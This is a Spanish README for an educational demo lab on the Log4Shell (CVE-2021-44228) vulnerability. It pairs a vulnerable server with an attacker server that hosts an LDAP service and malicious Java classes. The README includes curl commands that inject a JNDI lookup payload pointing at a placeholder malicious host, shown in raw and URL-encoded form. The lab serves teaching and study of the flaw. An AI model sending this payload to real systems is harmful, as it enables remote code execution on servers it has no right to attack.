
Demo para mostrar cómo funciona la vulnerabilidad Log4Shell / CVE-2021-44228
Este proyecto tiene como objetivo demostrar cómo funciona la vulnerabilidad Log4Shell / CVE-2021-44228.
Solo necesitas tener Docker instalado. Idealmente, tienes dos máquinas virtuales diferentes. Una para el servidor vulnerable y otra para el servidor malicioso que alojará el código malicioso y un servidor LDAP.
Opcionalmente, puedes tener Make y Docker Compose instalados, pero esto no es necesario, ya que este repositorio también contiene un make.sh para omitir estos requisitos y usarlos desde un contenedor Docker.
Si aún no lo has hecho, estos son los pasos para instalar Docker en una VM Debian. Puedes usar estos pasos: https://gist.github.com/mschmnet/5d8c979920801c73e148c901a5989b46
git clone [email protected]:mschmnet/Log4Shell-demo.git
cd vulnerable-server
../make.sh run # Or you coud execute make run if you hade Make and Docker Compose installed
Esto iniciará un servidor LDAP básico y un servidor Python básico para servir las clases Java maliciosas.
Debes proporcionar la dirección IP o el nombre de dominio donde estarán disponibles estos servidores
cd malicious-server
../make.sh run CODEBASE_URL=SERVER_IP_OR_DOMAIN_NAME # Optionally make instead of ../make.sh if you had Make and Docker Compose installed
curl -X GET -G --data-urlencode 'foo=${jndi:ldap://IP_OR_DOMAIN_MALICIOUS_SERVER:1389/a}' http://IP_OR_DOMAIN_VULNERABLE_SERVER/some-endpoint
o simplemente
curl --location --request GET 'http://IP_OR_DOMAIN_VULNERABLE_SERVER/some-endpoint?foo=%24%7Bjndi%3Aldap%3A%2F%2FIP_OR_DOMAIN_MALICIOUS_SERVER%3A1389%2Fa%7D'
donde ${jndi:ldap://IP_OR_DOMAIN_MALICIOUS_SERVER:1389/a} no es más que una URL codificada
../make.sh stop
../make.sh logs
https://raw.githubusercontent.com/mschmnet/Log4Shell-demo/main/pdf/slides.pdf